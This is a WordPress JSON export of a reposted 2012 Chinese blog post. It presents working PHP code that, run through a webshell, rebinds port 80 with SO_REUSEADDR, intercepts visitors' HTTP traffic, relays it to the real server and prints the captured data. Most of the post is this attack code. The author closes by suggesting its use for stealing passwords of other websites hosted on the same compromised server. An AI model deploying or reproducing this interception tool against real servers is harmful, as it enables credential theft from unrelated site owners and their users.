{"id":26,"date":"2012-08-03T13:24:02","date_gmt":"2012-08-03T13:24:02","guid":{"rendered":""},"modified":"2012-08-03T13:24:02","modified_gmt":"2012-08-03T13:24:02","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=26","title":{"rendered":"\u5229\u7528php\u6765\u55c5\u63a2\u52ab\u6301\u670d\u52a1\u5668\u6570\u636e"},"content":{"rendered":"

\u4f5c\u8005:\u4e91\u8212<\/span>
\n\u8f6c\u81ea\uff1a<\/span>http:\/\/www.haiyangtop.net\/safety\/book\/show.asp?id=3880<\/span><\/a><\/p>\n

\u524d\u51e0\u5929\u523a\u5728\u6211\u4eec\u7684maillist\u53d1\u4e86\u4e00\u4e2a\u8001\u5916\u5199\u7684\u6587\u7ae0\uff0c\u5927\u610f\u662f\u53ef\u4ee5\u7528php\u6765\u5b9e\u73b0\u6570\u636e\u7684\u52ab\u6301\u548c\u8f6c\u53d1\u3002\u6211\u7784\u4e86\u4e00\u4e0b\uff0c\u786e\u5b9e\u53ef\u884c\uff0c\u4e8e\u662f\u4eca\u5929\u62bd\u51fa\u4e86\u4ee5\u524d\u7528\u6765\u626f\u6de1\u7684\u65f6\u95f4\uff0c\u5199\u4e86\u6bb5\u4ee3\u7801\u9a8c\u8bc1\u4e86\u4e00\u4e0b\u60f3\u6cd5\u3002\u8001\u5916\u7684\u539f\u6587\u662f\u4e00\u4e2aPDF\uff0c\u6709\u5174\u8da3\u770b\u7684\u53ef\u4ee5\u770b\u770b\u3002\u5730\u5740\u662f\u5728\uff1ahttp:\/\/www.secforce.co.uk\/media\/presentations\/OWASP_Abusing_PHP_sockets.pdf<\/span><\/a>\u3002\u5176\u5b9e\u5173\u4e8e\u8fd9\u4e2a\u7684\u539f\u7406\uff0c\u6211\u8bb0\u5f97\u5f88\u65e9\u5f88\u65e9\u4e4b\u524dflashsky\u5c31\u5728xfocus\u4e0a\u9762\u8d34\u8fc7\u901a\u8fc7SO_REUSEADDR\u5b9e\u73b0\u7aef\u53e3\u91cd\u590d\u7ed1\u5b9a\u7684\uff0cmix\u8fd8\u5199\u8fc7\u4e00\u4e2a guest\u6743\u9650\u55c5\u63a2\u5bc6\u7801\u7684\u3002\u6211\u8fd9\u91cc\u6bd4\u8f83\u4e0d\u540c\u7684\u662f\u7528php\u5b9e\u73b0\u7684\uff0c\u53ef\u4ee5\u5728webshell\u91cc\u9762\u7528\uff0c\u5f53\u7136\u6211\u6ca1\u6709\u6d4b\u8bd5\u8fc7\uff0c\u6211\u6ca1shell\u3002
\n\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u8fd9\u4e2a\u4e1c\u897f\u548c\u4ee5\u524d\u7684\u300aPHP\u4e0b\u5b9e\u73b0\u7aef\u53e3\u590d\u7528\/\u52ab\u6301\u300b\u662f\u5b8c\u5168\u4e0d\u4e00\u6837\u7684\uff0c\u90a3\u4e2a\u6587\u7ae0\u53ef\u4ee5\u5728\u8fd9\u91cc\u627e\u5230\uff1ahttp:\/\/www.west999.com\/info\/html\/wangluobiancheng\/Phpbiancheng\/20080224\/22439.html<\/span><\/a>\u3002<\/span><\/p>\n

\u81f3\u4e8e\u4e3a\u4ec0\u4e48\u4e0d\u4e00\u6837\uff0c\u6211\u5c31\u4e0d\u8bf4\u4e86\u3002<\/p>\n

\u4ee3\u7801\u6211\u6ce8\u91ca\u5f97\u5f88\u8be6\u7ec6\uff0c\u4e2a\u4eba\u89c9\u5f97\u5199\u5f97\u8fd8\u4e0d\u9519\uff0c\u4e0d\u7ec6\u8bf4\u3002\u8fd9\u91cc\u5927\u6982\u8bf4\u4e00\u4e0b\u6280\u672f\u4e0a\u7684\u96be\u70b9\u3002\u9996\u5148\u662f\u5728web\u91cc\u9762\uff0c\u6ca1\u6709\u591a\u7ebf\u7a0b\u4e5f\u6ca1\u6709\u591a\u8fdb\u7a0b\uff0c\u4f46\u662f\u6bcf\u4e00\u4e2a\u65b0\u8fde\u63a5\u8fdb\u6765\u5c31\u8981\u53bb\u5904\u7406\uff0c\u5e94\u8be5\u600e\u4e48\u505a\uff1f\u663e\u7136\u4e0d\u80fd\u987a\u5e8f\u6267\u884c\uff0c\u56e0\u4e3a\u5149accept\u90a3\u91cc\u5c31\u4f1a\u88ab\u963b\u585e\u4f4f\u7684\uff0c\u800c\u4e14\u540e\u9762\u6bcf\u4e00\u4e2asession\u4e5f\u9700\u8981\u5206\u522b\u5904\u7406\u7684\u3002\u8fd8\u597d\u67e5\u624b\u518c\u53d1\u73b0\u7ecf\u5178\u7684socket_select\u51fd\u6570\u53ef\u7528\uff0c\u6709\u8fd9\u4e2a\u5c31\u597d\u8bf4\u4e86\uff0c\u4e13\u4e1a\u5b9e\u73b0\u591a\u8def\u590d\u7528\u7684\u3002<\/p>\n

PHP\u4ee3\u7801\u5982\u4e0b\uff0c\u6709\u8be6\u7ec6\u6ce8\u91ca\u3002blog\u8d34\u7684\uff0c\u6240\u4ee5\u4ee3\u7801\u53ef\u80fd\u4f1a\u6389\u4e9b\u4e1c\u897f\uff0c\u5176\u4ed6\u7684\u652f\u6301\u6211\u5c31\u4e0d\u63d0\u4f9b\u4e86\uff0c\u770b\u4ee3\u7801\uff1a<\/span><\/p>\n

========================================================<\/span><\/p>\n

<?php
\n 
\nclass select
\n 
\n{
\n 
\nvar $sockets;
\n <\/span><\/p>\n

\/\/ \u6784\u9020\u51fd\u6570
\n 
\nfunction select($sockets)
\n 
\n{
\n 
\n$this->sockets = array();
\n <\/span><\/p>\n

foreach($sockets as $socket)
\n 
\n{
\n 
\n$this->add($socket);
\n 
\n}
\n 
\n}
\n <\/span><\/p>\n

function add($add_socket)
\n 
\n{
\n 
\n\/\/array_push($this->sockets, $add_socket);
\n 
\n$this->sockets[] = $add_socket;
\n 
\n}
\n <\/span><\/p>\n

\/\/ \u5229\u7528\u4e34\u65f6\u6570\u7ec4\u6765\u5220\u9664\u6570\u7ec4\u4e2d\u7684\u5143\u7d20
\n 
\nfunction remove($remove_socket)
\n 
\n{
\n 
\n$tmp_sockets = array();
\n <\/span><\/p>\n

foreach($this->sockets as $socket)
\n 
\n{
\n 
\nif($remove_socket != $socket)
\n 
\n{
\n 
\n$tmp_sockets[] = $socket;
\n 
\n}
\n 
\n}
\n <\/span><\/p>\n

$this->sockets = $tmp_sockets;
\n 
\n}
\n <\/span><\/p>\n

\/\/ \u68c0\u67e5socket\u6570\u7ec4\u662f\u5426\u53ef\u8bfb\uff0c\u4f20\u5165\u8d85\u65f6\u65f6\u95f4\uff0c\u8fd4\u56desocket\u6570\u7ec4
\n 
\nfunction can_read($timeout)
\n 
\n{
\n 
\n$read = $this->sockets;
\n 
\nsocket_select( $read, $write = NULL, $except = NULL, $timeout );
\n 
\nreturn $read;
\n 
\n}
\n <\/span><\/p>\n

\/\/ \u68c0\u67e5socket\u6570\u7ec4\u662f\u5426\u53ef\u5199\uff0c\u4f20\u5165\u8d85\u65f6\u65f6\u95f4\uff0c\u8fd4\u56desocket\u6570\u7ec4
\n 
\nfunction can_write($timeout)
\n 
\n{
\n 
\n$write = $this->sockets;
\n 
\nsocket_select( $read = NULL, $write, $except = NULL, $timeout );
\n 
\nreturn $write;
\n 
\n}
\n 
\n}
\n <\/span><\/p>\n

\/\/ \u7f51\u9875\u4e0d\u8d85\u65f6
\n 
\nset_time_limit(0);
\n <\/span><\/p>\n

\/\/ \u5373\u65f6\u8f93\u51fa\u6570\u636e\uff0c\u4e0d\u7f13\u51b2
\n 
\nob_end_clean();
\n 
\nob_implicit_flush(true);
\n <\/span><\/p>\n

if( !isset($_GET[“listen_ip”]) )
\n 
\n{
\n 
\nexit;
\n 
\n}
\n 
\nif( $_GET[“listen_ip”] == “” )
\n 
\n{
\n 
\nexit;
\n 
\n}
\n <\/span><\/p>\n

$listen_ip = $_GET[“listen_ip”];
\n 
\n$listen_port = 80;
\n <\/span><\/p>\n

\/\/ \u5efa\u7acbsocket
\n 
\n$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
\n <\/span><\/p>\n

\/\/ \u8bbe\u7f6e\u91cd\u590d\u7ed1\u5b9a
\n 
\nsocket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);
\n <\/span><\/p>\n

\/\/ \u660e\u786e\u6307\u5b9a\u7ed1\u5b9aIP\u5730\u5740\uff0c\u4f18\u5148\u83b7\u53d6\u6570\u636e
\n 
\nsocket_bind($listen_sock, $listen_ip, $listen_port);
\n <\/span><\/p>\n

\/\/ \u5f00\u59cb\u76d1\u542c
\n 
\nsocket_listen ($listen_sock);
\n <\/span><\/p>\n

echo “listen on “.htmlentities($listen_ip).” :”.$listen_port.”<br \/>”;
\n <\/span><\/p>\n

\/\/ \u521b\u5efasocket\u6570\u7ec4\uff0c\u4f7f\u7528select\u6765\u8f6e\u8be2
\n 
\n$check_socks = array($listen_sock);
\n <\/span><\/p>\n

\/\/ \u6620\u5c04\u5ba2\u6237\u7aefsocket\u548c\u670d\u52a1\u7aefsocket
\n 
\n\/\/ $socket_maps1\u5c06\u5ba2\u6237\u7aefsocket\u4f5c\u4e3akey
\n 
\n\/\/ $socket_maps2\u5c06\u670d\u52a1\u7aefsocket\u4f5c\u4e3akey
\n 
\n\/\/ \u4ee5\u5185\u5b58\u6362\u901f\u5ea6\uff0c\u5e76\u4e14\u65b9\u4fbf\u4e0b\u9762\u7684\u641c\u7d22
\n 
\n$socket_maps1 = array( );
\n 
\n$socket_maps2 = array( );
\n <\/span><\/p>\n

\/\/ \u5b9e\u4f8b\u5316select\u7c7b
\n 
\n$select = new select( $check_socks );
\n <\/span><\/p>\n

while(true)
\n 
\n{
\n 
\n\/*
\n 
\nprint_r( $socket_maps );
\n 
\nprint “<br \/>”;
\n 
\n*\/
\n 
\n\/\/ select\u8f6e\u8be2\uff0c\u8d85\u65f62\u79d2
\n 
\nforeach ($select->can_read(1) as $socket)
\n 
\n{
\n 
\n\/\/ listen_sock\u53ef\u8bfb\uff0c\u8bf4\u660e\u6709\u4eba\u8fde\u63a5\u4e0a\u6765\u4e86
\n 
\nif( $socket == $listen_sock )
\n 
\n{
\n 
\n\/\/ \u63a5\u53d7\u65b0\u8fde\u63a5\uff0c\u5e76\u52a0\u5165\u5230\u8f6e\u8bad\u6570\u7ec4
\n 
\n$new_client = socket_accept($listen_sock);
\n 
\n$select->add($new_client);
\n <\/span><\/p>\n

socket_getpeername($new_client, $ip, $port);
\n 
\necho “New client connected: $ip, $port<br \/>”;
\n <\/span><\/p>\n

\/\/ \u5efa\u7acb\u5230\u771f\u5b9e\u670d\u52a1\u5668\u7684socket
\n 
\n$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
\n 
\nsocket_connect($server_sock,”127.0.0.1″, $listen_port);
\n <\/span><\/p>\n

\/\/ \u5efa\u7acb\u771f\u5b9e\u670d\u52a1\u5668socket\u548c\u771f\u5b9e\u5ba2\u6237\u7aefsocket\u4e4b\u95f4\u7684\u6620\u5c04\u5173\u7cfb
\n 
\n$socket_maps1[$new_client] = $server_sock;
\n 
\n$socket_maps2[$server_sock] = $new_client;
\n <\/span><\/p>\n

\/\/ \u6dfb\u52a0\u5230select\u8f6e\u8be2\u4e2d
\n 
\n$select->add($server_sock);
\n <\/span><\/p>\n

\/\/ $listen_sock\u7684\u53ef\u8bfb\u6570\u636e\u662f\u56e0\u4e3a\u6709\u65b0\u8fde\u63a5\uff0c\u5df2\u7ecf\u5904\u7406\u4e86\u3002\u6682\u65f6\u53bb\u6389\uff0c\u56e0\u4e3a\u4e0b\u9762\u5f00\u59cb\u5904\u7406\u6570\u636e\u8f6c\u53d1
\n 
\n\/\/select->remove( $listen_sock );
\n 
\n}
\n <\/span><\/p>\n

\/\/ \u5176\u4ed6socket\u53ef\u8bfb\uff0c\u8868\u793a\u6709\u6570\u636e\u9700\u8981\u4e2d\u8f6c
\n 
\nelse
\n 
\n{
\n 
\n\/\/ \u8bfb\u53d6\u6570\u636e\uff0c\u5931\u8d25\u5219\u4ece\u8f6e\u8be2socket\u4e2d\u5220\u9664\uff0c\u5e76\u5173\u95edsocket
\n 
\n$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
\n 
\nif ($client_data === false)
\n 
\n{
\n 
\nsocket_close( $socket );
\n 
\n$select->remove( $socket );
\n 
\necho “client disconnected.<br \/>”;
\n <\/span><\/p>\n

continue;
\n 
\n}
\n <\/span><\/p>\n

\/\/ \u5982\u679csocket\u5728$socket_maps1\u7684key\u4e2d\uff0c\u8bf4\u660e\u662f\u4ece\u5ba2\u6237\u7aef\u8bfb\u5230\u4e86\u6570\u636e
\n 
\nif( in_array( $socket, array_keys($socket_maps1) ) )
\n 
\n{
\n 
\n\/\/echo “readed from client.<br \/>”;
\n 
\nif( ! socket_write( $socket_maps1[$socket], $client_data ) )
\n 
\n{
\n 
\nsocket_close( $socket );
\n 
\nsocket_close( $socket_maps1[$socket] );
\n 
\n$select->remove( $socket );
\n 
\n$select->remove( $socket_maps1[$socket] );
\n 
\nprint “Write to server error.<br \/>”;
\n 
\n}
\n 
\nprint htmlentities($client_data).”<\/b><br \/>”;
\n 
\n}
\n 
\n\/\/ \u5426\u5219\u5982\u679csocket\u5728$socket_maps2\u7684key\u4e2d\uff0c\u8bf4\u660e\u662f\u4ece\u771f\u6b63\u7684web\u670d\u52a1\u5668\u8bfb\u5230\u4e86\u6570\u636e
\n 
\nelseif( in_array( $socket, array_keys($socket_maps2) ) )
\n 
\n{
\n 
\n\/\/echo “readed from server.<br \/>”;
\n 
\nif( ! socket_write( $socket_maps2[$socket], $client_data ) )
\n 
\n{
\n 
\nsocket_close( $socket );
\n 
\nsocket_close( $socket_maps2[$socket] );
\n 
\n$select->remove( $socket );
\n 
\n$select->remove( $socket_maps2[$socket] );
\n 
\nprint “Write to client error.<br \/>”;
\n 
\n}
\n 
\nprint htmlentities($client_data).”<\/b><br \/>”;
\n 
\n}
\n 
\n}
\n 
\n}
\n 
\n}
\n 
\n?><\/span><\/p>\n

=========================================================<\/span><\/p>\n

\u8fd9\u4e2a\u4e1c\u897f\u6709\u4ec0\u4e48\u4f5c\u7528\uff1f\u81ea\u7531\u53d1\u6325\u3002\u4e5f\u8bb8\u4f60\u6709\u4e00\u4e2awebshell\uff0c\u4f46\u662f\u5374\u60f3\u77e5\u9053\u540c\u4e00\u4e2a\u670d\u52a1\u5668\u4e0a\u9762\u522b\u4eba\u7f51\u7ad9\u7684\u5bc6\u7801\u2026\u2026\u6211\u662f\u5728windows xp+apache\u6d4b\u8bd5\u7684\uff0c\u636e\u6211\u6240\u77e5windows2003\u9ed8\u8ba4\u5df2\u7ecf\u4e0d\u51c6\u91cd\u590d\u7ed1\u5b9a\u7aef\u53e3\u4e86\u3002<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"

\u4f5c\u8005:\u4e91\u8212<\/span>
\u8f6c\u81ea\uff1a<\/span>http:\/\/www.haiyangtop.net\/safety\/book\/show.asp?id=3880<\/span><\/a><\/p>\n

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